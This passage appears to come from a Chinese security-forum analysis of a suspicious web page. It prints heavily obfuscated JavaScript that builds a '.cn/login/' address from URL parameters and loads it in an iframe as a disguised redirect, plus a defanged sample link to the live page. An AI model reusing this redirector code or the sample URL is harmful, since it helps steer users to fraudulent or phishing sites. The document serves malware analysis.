_0x4fe31c == _0x48f4aa['replace'](/[fwIHVNlgUnQDGrukWBdT=]/g, '')
) {
if (_0x2bd662 === _0x1cb1b7) {
_0x25a62c['un' + _0x1f1e47](_0x18bab4);
break;
}
_0x25a62c[_0x21a33a](_0x18bab4);
}
}
}
}
}(
_0x2afb9e,
_0x33b959,
function (
_0x22c1ad,
_0x1b02d8,
_0x304f83,
_0x37bc94,
_0x2aa1c3,
_0x13c9d8,
_0x2abd84
) {
return _0x1b02d8 = 'split',
_0x22c1ad = arguments[0],
_0x22c1ad = _0x22c1ad[_0x1b02d8](''),
_0x304f83 = 'reverse',
_0x22c1ad = _0x22c1ad[_0x304f83]('v'),
_0x37bc94 = 'join',
(3841118, _0x22c1ad[_0x37bc94](''));
}
);
}(408, 678141, _0x2af3, 206),
_0x2af3
) &&
(_0xodB = _0x1a621b(216, 'isw1'));
init();
function init() {
const _0x19d8ef = _0x1a621b,
_0x52e353 = {
'SJVbv': function (_0x53af61, _0x11e7c6, _0x400d66) {
return _0x53af61(_0x11e7c6, _0x400d66);
},
'mCfKq': 'appLoading',
'zNAte': 'none',
'lxddR': _0x19d8ef(153, 'Ud1e'),
'IfpaT': _0x19d8ef(278, 'EdK('),
'jsdhT': function (_0x46980b, _0x2869e5) {
return _0x46980b + _0x2869e5;
},
'OaKoX': function (_0x39695e, _0x8b665f) {
return _0x39695e + _0x8b665f;
},
'TsJkE': _0x19d8ef(171, 'CbH8'),
'FDsnh': '&time=',
'eVxGu': 'iframeDiv',
'fvWGT': _0x19d8ef(254, 'c%J3'),
'cofjh': function (_0x5ea213, _0x59aedf) {
return _0x5ea213 !== _0x59aedf;
},
'FXLdm': _0x19d8ef(161, 'EdK('),
'yyIBK': function (_0x3506db, _0x33635e) {
return _0x3506db(_0x33635e);
},
'azfBY': function (_0x40b935, _0x4f14cc, _0x500195) {
return _0x40b935(_0x4f14cc, _0x500195);
},
'oIXxQ': function (_0x2dc0e5, _0x57d4df) {
return _0x2dc0e5 + _0x57d4df;
},
'IdGdO': '?time=',
'ojDyK': _0x19d8ef(170, '[ywW'),
'YMvLE': function (_0x52863a, _0x5e7bce) {
return _0x52863a === _0x5e7bce;
},
'AATfQ': _0x19d8ef(197, 'AGvu'),
'CRfTd': function (_0x4dbc8e, _0x17af11) {
return _0x4dbc8e - _0x17af11;
},
'PtNvt': function (_0x455a36, _0x455588) {
return _0x455a36 - _0x455588;
},
'MuIrj': function (_0x3801af, _0x1be155) {
return _0x3801af !== _0x1be155;
},
'lIhhR': _0x19d8ef(221, 'c%J3'),
'JkcgG': function (_0x53cf98, _0x12ee68) {
return _0x53cf98 + _0x12ee68;
},
'xsXxM': function (_0x485f58, _0xc84931) {
return _0x485f58 === _0xc84931;
},
'KnzIZ': _0x19d8ef(261, '0&OE'),
'THIhS': 'AzxXE',
'XZCVR': 'zVXbT',
'sKurS': function (_0x3bb08a, _0x372a38) {
return _0x3bb08a + _0x372a38;
},
'qFHbG': function (_0x12a273, _0x5ac2b9) {
return _0x12a273 + _0x5ac2b9;
},
'tMFxl': function (_0x23d446, _0x45119e) {
return _0x23d446 + _0x45119e;
}
};
let _0x5b41d1 = _0x52e353['ojDyK'];
(
!window['location'][_0x19d8ef(175, '@oi@')] ||
_0x52e353['YMvLE'](window['location'][_0x19d8ef(239, '$q]h')], '')
) &&
_0x52e353[_0x19d8ef(204, 'z@$*')](alert, _0x52e353['AATfQ']);
let _0xc173b3 = window['location']['search'][_0x19d8ef(177, 'AGvu')]('?', '') ['split']('&');
if (
_0x52e353[_0x19d8ef(194, '$q]h')](_0xc173b3[_0x19d8ef(217, 'UE2R')], 3)
) {
console[_0x19d8ef(202, '6vyT')](1);
let _0x1e51f4 = _0xc173b3[2][_0x19d8ef(222, 'BMZ#')]('=', ''),
_0x15f292 = _0x1e51f4[_0x19d8ef(146, '!rex')](_0x52e353['CRfTd'](_0x1e51f4[_0x19d8ef(268, '2]&8')], 1)),
_0x3ef4df = _0x1e51f4[_0x19d8ef(225, '@oi@')](
_0x15f292,
_0x52e353['PtNvt'](_0x1e51f4[_0x19d8ef(246, '^o[L')], 1)
),
_0x590ac4 = new Date() [_0x19d8ef(165, 'sWFh')]();
if (!_0x1e51f4) alert(_0x52e353[_0x19d8ef(152, '[CI%')]);
else {
if (
_0x52e353[_0x19d8ef(181, 'R0k9')](
_0x52e353[_0x19d8ef(271, 'O*dZ')],
_0x52e353[_0x19d8ef(280, 'N@&F')]
)
) {
const _0x31a1d5 = {
'RQyiY': _0x52e353[_0x19d8ef(137, 'B6BZ')],
'tkymL': _0x52e353['zNAte'],
'RkQtm': _0x19d8ef(193, 'sWFh'),
'iZnre': _0x52e353['lxddR']
};
var _0x3dd1b0 = _0x2575a8[_0x19d8ef(160, '0&OE')](_0x52e353[_0x19d8ef(212, 'Ud1e')]);
let _0x5c2f5f = _0x1a8336['location'][_0x19d8ef(167, 'O*dZ')][_0x19d8ef(279, 'Ewep')]('?', '') [_0x19d8ef(203, 'D]bO')]('&'),
_0x138601 = _0x5c2f5f[0] + '&' + _0x5c2f5f[1],
_0x32ff43;
_0x32ff43 = _0x52e353['jsdhT'](
_0x52e353[_0x19d8ef(145, 'zn9Q')](
_0x52e353['OaKoX'](
_0x52e353[_0x19d8ef(189, 'NCK2')](_0x298330, _0x155725),
_0x52e353[_0x19d8ef(241, 'EdK(')]
),
_0x138601
) + _0x52e353['FDsnh'],
_0x2710c0
);
var _0x3739f1 = _0x1f78b3[_0x19d8ef(180, 'GJRv')](_0x52e353[_0x19d8ef(198, 'O*dZ')]);
_0x7a609a[_0x19d8ef(232, 'pbTc')](_0x52e353['eVxGu']) [_0x19d8ef(157, 'zn9Q')](
_0x52e353['fvWGT'],
function () {
_0x52e353['SJVbv'](
_0x4bbeb2,
function () {
const _0x23ce22 = _0x2f45;
_0x3f5a91['getElementById'](_0x31a1d5[_0x23ce22(210, 'JuGV')]) [_0x23ce22(262, '0&OE')][_0x23ce22(230, 'CbH8')] = _0x31a1d5['tkymL'],
_0x147a0d[_0x23ce22(155, 'NCK2')](_0x31a1d5[_0x23ce22(228, 'R0k9')]) [_0x23ce22(236, 'B6BZ')]['display'] = _0x31a1d5[_0x23ce22(207, '$q]h')];
},
300
);
}
),
_0x3739f1[_0x19d8ef(176, 'bNmq')] = _0x32ff43;
} else {
var _0x1e12d9 = document[_0x19d8ef(259, '^$Q1')](_0x52e353[_0x19d8ef(196, 'isw1')]);
let _0x4a9991 = window['location']['search'][_0x19d8ef(267, 'X&^J')]('?', '') [_0x19d8ef(260, 'JuGV')]('&'),
_0x587760 = _0x52e353[_0x19d8ef(147, 'c%J3')](
_0x52e353[_0x19d8ef(188, '8X0Y')](_0x4a9991[0], '&'),
_0x4a9991[1]
),
_0x7e77ea;
_0x7e77ea = _0x52e353[_0x19d8ef(266, 'n9Sm')](
_0x52e353[_0x19d8ef(223, 'By]L')](
_0x52e353[_0x19d8ef(251, '8X0Y')](_0x5b41d1, _0x3ef4df),
_0x52e353[_0x19d8ef(183, 'AGvu')]
),
_0x587760
) + _0x52e353[_0x19d8ef(231, 'O*dZ')] + _0x590ac4;
var _0x383b95 = document[_0x19d8ef(237, 'sWFh')]('iframeDiv');
document[_0x19d8ef(173, 'N@&F')](_0x52e353[_0x19d8ef(269, '!rex')]) [_0x19d8ef(270, 'bNmq')](
_0x19d8ef(219, 'kxza'),
function () {
const _0xda079 = _0x19d8ef,
_0x5b7288 = {
'xclrt': function (_0x4129ea, _0x57befd) {
const _0x205203 = _0x2f45;
return _0x52e353[_0x205203(252, 'bNmq')](_0x4129ea, _0x57befd);
},
'TGRsX': _0xda079(229, 'Xw)k')
};
_0x52e353['SJVbv'](
setTimeout,
function () {
const _0x37796d = _0xda079;
_0x52e353[_0x37796d(190, 'AL6A')](_0x52e353[_0x37796d(186, 'qmt%')], _0x37796d(141, 'c$%H')) ? (
document[_0x37796d(187, '[ywW')]('appLoading') ['style']['display'] = _0x52e353[_0x37796d(138, '!bhm')],
document['getElementById']('iframeDiv') [_0x37796d(227, '^o[L')]['display'] = _0x37796d(263, 'pbTc')
) : _0x5b7288['xclrt'](_0x587306, _0x5b7288[_0x37796d(150, 'Ewep')]);
},
300
);
}
),
_0x383b95[_0x19d8ef(149, 'Tz24')] = _0x7e77ea;　＃此处触发请求调用堆栈
}
}
} else {
if (
_0x52e353[_0x19d8ef(151, 'UE2R')](_0x52e353[_0x19d8ef(253, 'EdK(')], _0x52e353['THIhS'])
) _0x5a98af(
function () {
const _0x1e8a59 = _0x19d8ef;
_0x232fee[_0x1e8a59(154, 'R0k9')](_0x52e353[_0x1e8a59(276, 'Tz24')]) ['style'][_0x1e8a59(169, 'qmt%')] = _0x52e353[_0x1e8a59(208, '[ywW')],
_0x2df884['getElementById'](_0x52e353['eVxGu']) [_0x1e8a59(166, 'BMZ#')][_0x1e8a59(226, 'B6BZ')] = _0x52e353[_0x1e8a59(244, 'O*dZ')];
},
300
);
else {
let _0x522299 = window['location']['search'][_0x19d8ef(220, '8X0Y')]('?', '') ['split']('&'),
_0x302a02 = _0x522299[0]['replace']('=', ''),
_0x4abf89 = _0x522299[1]['replace']('=', ''),
_0x318205 = _0x4abf89['charAt'](
_0x52e353[_0x19d8ef(209, 'AL6A')](_0x4abf89[_0x19d8ef(201, 'bNmq')], 1)
),
_0x12c5da = _0x4abf89[_0x19d8ef(164, '^o[L')](_0x318205, _0x4abf89['length'] - 1),
_0x12a552 = new Date() ['getTime']();
if (!_0x302a02) alert(_0x52e353[_0x19d8ef(255, 'Pj2(')]);
else {
if (_0x52e353[_0x19d8ef(139, 'N@&F')] !== _0x19d8ef(240, 'bNmq')) {
var _0x1e12d9 = document[_0x19d8ef(174, '&#cB')](_0x19d8ef(233, 'kB4q'));
let _0x5e9490;
_0x5e9490 = _0x52e353['sKurS'](
_0x52e353[_0x19d8ef(185, 'zn9Q')](
_0x52e353['JkcgG'](
_0x52e353[_0x19d8ef(195, 'qmt%')](_0x5b41d1 + _0x12c5da, '.cn/login/'),
_0x302a02
),
_0x52e353[_0x19d8ef(200, 'By]L')]
),
_0x12a552
);
var _0x383b95 = document[_0x19d8ef(155, 'NCK2')](_0x19d8ef(193, 'sWFh'));
document['getElementById'](_0x52e353['eVxGu']) [_0x19d8ef(168, '8X0Y')](
_0x52e353['fvWGT'],
function () {
const _0x3003ac = _0x19d8ef,
_0xff7a9b = {
'NTYxg': _0x52e353[_0x3003ac(249, '^o[L')],
'XyxHy': _0x52e353['eVxGu'],
'xOFPr': _0x52e353['lxddR']
};
setTimeout(
function () {
const _0x539cac = _0x3003ac;
document[_0x539cac(144, '[F[d')](_0xff7a9b[_0x539cac(159, '^o[L')]) ['style']['display'] = _0x539cac(250, '^o[L'),
document['getElementById'](_0xff7a9b['XyxHy']) [_0x539cac(265, 'AL6A')][_0x539cac(184, '[CI%')] = _0xff7a9b[_0x539cac(243, '!bhm')];
},
300
);
}
),
_0x383b95[_0x19d8ef(163, 'isw1')] = _0x5e9490;
} else {
const _0x25f2e0 = {
'gJHnI': 'none',
'JIKfN': _0x52e353[_0x19d8ef(274, 'BMZ#')],
'nloMY': _0x52e353[_0x19d8ef(162, 'kB4q')]
};
var _0x18a5da = _0x33f98f[_0x19d8ef(174, '&#cB')](_0x52e353['IfpaT']);
let _0x4338a2;
_0x4338a2 = _0x52e353[_0x19d8ef(182, 'N@&F')](
_0x52e353[_0x19d8ef(273, 'Pj2(')](
_0x52e353[_0x19d8ef(256, 'Xw)k')](_0x5f1e4d + _0x2d2013, '.cn/login/'),
_0x41ca08
),
_0x52e353['IdGdO']
) + _0x53dc9b;
var _0x2bae30 = _0x5e5791[_0x19d8ef(174, '&#cB')]('iframeDiv');
_0x54fc10['getElementById'](_0x52e353[_0x19d8ef(235, 'X&^J')]) [_0x19d8ef(248, 'Tz24')](
_0x52e353[_0x19d8ef(158, '6vyT')],
function () {
_0x52e353['azfBY'](
_0x2d2941,
function () {
const _0x2e0e3a = _0x2f45;
_0x40182d[_0x2e0e3a(140, 'By]L')](_0x2e0e3a(277, 'zn9Q')) ['style'][_0x2e0e3a(213, 'D]bO')] = _0x25f2e0[_0x2e0e3a(172, '!rex')],
_0x4ac158[_0x2e0e3a(143, 'X&^J')](_0x25f2e0[_0x2e0e3a(206, '4Omd')]) [_0x2e0e3a(148, '[ywW')][_0x2e0e3a(142, '[ywW')] = _0x25f2e0[_0x2e0e3a(224, 'z@$*')];
},
300
);
}
),
_0x2bae30[_0x19d8ef(205, '@oi@')] = _0x4338a2;
}
}
}
}
}
function _0x2f45(_0x19ab39, _0xa3665b) {
const _0x2af3d2 = _0x2af3();
return _0x2f45 = function (_0x2f453f, _0x7b43b) {
_0x2f453f = _0x2f453f - 137;
let _0x286539 = _0x2af3d2[_0x2f453f];
if (_0x2f45['FWTOth'] === undefined) {
var _0x46cc8e = function (_0x21f076) {
const _0xb78aca = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';
let _0x3a98ed = '',
_0x4627f5 = '';
for (
let _0x8e61f8 = 0,
_0x5a2822,
_0x54a4b2,
_0xf836a4 = 0;
_0x54a4b2 = _0x21f076['charAt'](_0xf836a4++);
~_0x54a4b2 &&
(
_0x5a2822 = _0x8e61f8 % 4 ? _0x5a2822 * 64 + _0x54a4b2 : _0x54a4b2,
_0x8e61f8++ % 4
) ? _0x3a98ed += String['fromCharCode'](255 & _0x5a2822 >> ( - 2 * _0x8e61f8 & 6)) : 0
) {
_0x54a4b2 = _0xb78aca['indexOf'](_0x54a4b2);
}
for (
let _0x44f016 = 0,
_0x1558c7 = _0x3a98ed['length'];
_0x44f016 < _0x1558c7;
_0x44f016++
) {
_0x4627f5 += '%' + ('00' + _0x3a98ed['charCodeAt'](_0x44f016) ['toString'](16)) ['slice']( - 2);
}
return decodeURIComponent(_0x4627f5);
};
const _0x497cf0 = function (_0x5338e0, _0x3c2abc) {
let _0x5d5e58 = [],
_0x2575a8 = 0,
_0x1a8336,
_0x298330 = '';
_0x5338e0 = _0x46cc8e(_0x5338e0);
let _0x155725;
for (_0x155725 = 0; _0x155725 < 256; _0x155725++) {
_0x5d5e58[_0x155725] = _0x155725;
}
for (_0x155725 = 0; _0x155725 < 256; _0x155725++) {
_0x2575a8 = (
_0x2575a8 + _0x5d5e58[_0x155725] + _0x3c2abc['charCodeAt'](_0x155725 % _0x3c2abc['length'])
) % 256,
_0x1a8336 = _0x5d5e58[_0x155725],
_0x5d5e58[_0x155725] = _0x5d5e58[_0x2575a8],
_0x5d5e58[_0x2575a8] = _0x1a8336;
}
_0x155725 = 0,
_0x2575a8 = 0;
for (let _0x2710c0 = 0; _0x2710c0 < _0x5338e0['length']; _0x2710c0++) {
_0x155725 = (_0x155725 + 1) % 256,
_0x2575a8 = (_0x2575a8 + _0x5d5e58[_0x155725]) % 256,
_0x1a8336 = _0x5d5e58[_0x155725],
_0x5d5e58[_0x155725] = _0x5d5e58[_0x2575a8],
_0x5d5e58[_0x2575a8] = _0x1a8336,
_0x298330 += String['fromCharCode'](
_0x5338e0['charCodeAt'](_0x2710c0) ^ _0x5d5e58[(_0x5d5e58[_0x155725] + _0x5d5e58[_0x2575a8]) % 256]
);
}
return _0x298330;
};
_0x2f45['vNFewq'] = _0x497cf0,
_0x19ab39 = arguments,
_0x2f45['FWTOth'] = !![];
}
const _0x3a552c = _0x2af3d2[0],
_0x2a46e5 = _0x2f453f + _0x3a552c,
_0x515f37 = _0x19ab39[_0x2a46e5];
return !_0x515f37 ? (
_0x2f45['prwJLy'] === undefined &&
(_0x2f45['prwJLy'] = !![]),
_0x286539 = _0x2f45['vNFewq'](_0x286539, _0x7b43b),
_0x19ab39[_0x2a46e5] = _0x286539
) : _0x286539 = _0x515f37,
_0x286539;
},
_0x2f45(_0x19ab39, _0xa3665b);
}
function _0x2af3() {
const _0x57fb18 = (
function () {
return [_0xodB,
'wNjlsgujifuanDrmBGiUI.IcTQfokmNd.HvIW7UV==',
'W60Wi8kQiW',
'WP/dPMhdImo7qCkV',
'mKtcKsKlnG',
'wqNcKmkDAq',
'xSoeWQ3cTmormHddMmoxW7qdomo/rrNcQa',
'a8kIn37dGq',
'WRJdIJ3dQtxdHCoWDdrgn0/dHG',
'W6hcTfdcOfq',
'eMpcIJu1',
'ymoKi00cFYtcTmo+rd3cPSks',
'WRjPnmoyxa',
'v8k+W7zcthldJbJdLJe',
'WRPHtmoRgCk0DSo/',
'mdxdQw7dKg9r',
'r34ycti',
'AGyOeCkR',
'mmkoWOq0W5G',
'C20ZnZi',
'WRJdNstcUG7dKMJcH8kXWRbMeuHv',
'pSojW7G{过}F{滤}WQ4',
'owRcSW4wWP7dSa',
'WORdPMxdOCo2r8kNzSk+WOaaWR5rW6q',
'sYBdKf4jW4vhWPWvW6LBWQy3eW',
'xmk9W6jMDW',
'xZFcICkOxCkn',
'WPz3B8omW4G',
'lNFcUriF',
'WQXymq',
'fHFdI3hdQq',
'WRtdOL90WPG',
'W6HkW7eLW4i',
'mfdcI8kzW6S',
'W5xdKYBdV8oWpmoQWPDGWPBdS2TXW7q',
'W6VdLSocyHBcL23cJmobWPKYCHtcUG',
'W6qHm8k/wmoJi8oicN8yWR9f',
'v8kQW6jlvxBdHGxdTd/dIqmfW6hcJmkS',
'WO/dRXTonW',
'Cmk/uCkiW6y',
'wmoorhJdI1e4W59dW47dRmkzWRzD',
'WPvwy8oQoW',
'BSkrcuvO',
'WOzdWRi',
'tCkEASkdW7xcHSkosXi',
'WQ01c8oJW4JcMK0',
'behcIX4L',
'hmkopMtdSgC',
'WQDZW5VdSmkanSkWWR7dLConW45lWPlcVsNcKW'].concat(
(
function () {
return ['xeFdVqddG8olma',
'nxFcTa4jW4xcPNzcWQyoyq',
'y8k8WOrY',
'wXxcOmk0vq',
'tfiejaWygSkGaWNcRSkrW5fB',
'WQL8ECorr2ZcRmkVWR/cMSk3WPhcT8on',
'W7SnEJX+WQS',
'tmosWQO',
'W7dcTCoCWQNcN8kGWPe',
'W6Czy8kQwXrvWOtdKcC',
'WPCDbh1DfYhcISkP',
'W4rtWPVcTfxdMrK6esevESkRjG',
'W7/dGXVdImo2',
'zfy7dJG',
'W5BcO8oMWQ7cUW',
'W41IW5yZW7/cRXe',
'r8kiW45Sza',
'FNBdGHtdGG',
'oMBcTdSwWPRdPdXBWQu7nHBcHa',
'WQXKW5VdNCkI',
'W6BdGmostY4',
'nmk/ELf+',
'pNr9ACoQW5jwvrVcSsm',
'WPmEcGP7pddcHmkVW68',
'WQm2dCowW4ZcKMZdSse',
'CSkAW5G2lW',
'tgpdIaJdGW',
'WRXxWQhdQ8ky',
'57645Bob5y2U5PA1',
'cSk9j1hdPG',
'W5/cSsJcLSkTf8kawSkYWPyKWRe',
'WPBdNbFcMY0',
'u8ofWQFcLSotpW',
'WOxdTIS',
'W4RcHeRcHmk2',
'WQZdHNVcN8oc',
'W7SAEa',
'WPFdLCkEuYC',
'qSknW4aidW',
'j03cGqOF',
'b8kKuK1I',
'W7j+rvTk',
'CglcOddcHJL+W4HcWRuwWR8',
'g1RcLmkBW5q',
'W53cNvxcNCkUWRzv',
'WRtdQCkCW7xdISo6W4hcSSompGhcTqm',
'W6JcIMJcScZdPfBcTCkw',
'WP9cWRVdO8kTvtqgWO0UW5hcHSkyW70',
'WQddTgLRWQef'].concat(
(
function () {
return ['W6WtzmkHhMuuWRldNIrsWRb2',
'CWb9W6C',
'WRrYW4/dMCkxmmk7',
'WP1JtmotW5W',
'bvdcGH4HBu8',
'WPddMrVcKdO',
'WRVdK13cKmoq',
'W7SDEt1PWRfwWOar',
'yYW9kSk2W4z5',
'tCkFCCkCW6q',
'W6ddNqpdJSoX',
'572R5Bof5y+q5Psm',
'kCk2WPK9e3tdNq',
'kCkVlhJdUW',
'hmomWPZdMrH6b8kgWPJcMhSZWRrQ',
'B8kqjeDivmokgq',
'WRVcHCoACb7cS1dcUW',
'WOJdLwNdO8oV',
'Dde3nSk/',
'WQ01c8oYW43cKKxdVtNdGaZdKmkWWQ8',
'W6aUACoAd8kus8oi',
'wmkYW48icCov',
'vmoxWQRcLCo0',
'WOnRt8oMlG',
'WQBdOM1LWRqadSk3W58EWRXuWOFdPW',
'mSkpWOmqW48',
'a8kto3ldGq',
'EMpcQdVdH0TnW7vJWQy',
'uSkozSkxW7xcNa',
'W6eVmmk8w8oJkCoWd0q4WQnp',
'WR5onSowwZzcWPtdNZ9UWO9BWPhdMZC',
'u8kOBSk7W7a',
'umkezSkv',
'WOX8W5ZdKSkX',
'rSozWOdcS8oS',
'WPX2F8oemq',
'WRv5rCoh',
'W4/cVfZcVLq',
'hSk1wrnJ',
'mCoywXLstCoLjCojea',
'qSo+WPRcL8oCfmoqW5TbdCkm',
'DCovl8kSz8kLW7tcHCkMb8kdlMSu',
'W5nFufTN',
'ESoeExJdLq',
'tmoFsvhdGG',
'gCofWOFdVX8',
'dSkqW7JdGmkEyuZdRSonW5GLimoJ',
'jmkKzvDZ'];
}()
)
);
}()
)
);
}()
);
_0x2af3 = function () {
return _0x57fb18;
};
return _0x2af3();
};
var version_ = 'jsjiami.com.v7';　＃湖南唯凡网络科技有限公司，版本ｖ７
</script>
</html>

复制代码

样本（已编码，ｇ后加一个英文等号，ＷＲ后加个数字１，请不要在本帖内或本帖外散布解码后完整域名或在线分析任务具体地址，仅供安全分析用途）

https://a3lwc2g[.]Y3VtdGIuZWR[.]cn/2/show.html?25=5f3fde36aa4cb3&v=dkuouebg1&xjfadojtpns3=参数缺失，此参数参与最终跳转地址的脚本计算

复制代码

[未鉴定] 疑似强混淆白跳黑网页，由于缺失关键传参，无法完整推演具体黑产落地页